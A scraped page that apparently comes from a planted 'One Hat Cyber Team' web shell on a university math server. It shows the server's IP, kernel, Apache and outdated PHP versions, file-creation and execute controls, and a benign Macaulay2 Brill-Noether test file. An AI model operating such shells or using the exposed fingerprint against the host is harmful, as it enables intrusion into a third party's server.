One Hat Cyber Team
Your IP :
216.73.216.80
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
Macaulay2
/
Schubert2
/
View File Name :
BrillNoether-test.m2
load "./BrillNoether.m2" E = BrillNoetherBundle(5,1,4) Wrd = variety E euler Wrd assert(euler Wrd === -20) -- this curve has genus 11 CxP = CxPic(3,5) assert( ch CxP.PoincareBundle == 1 + (gamma + 5*eta) - theta*eta ) pi2 = CxP.projections#1 E = pi2_* CxP.PoincareBundle ch E use ring oo assert( ch E == 3 - theta )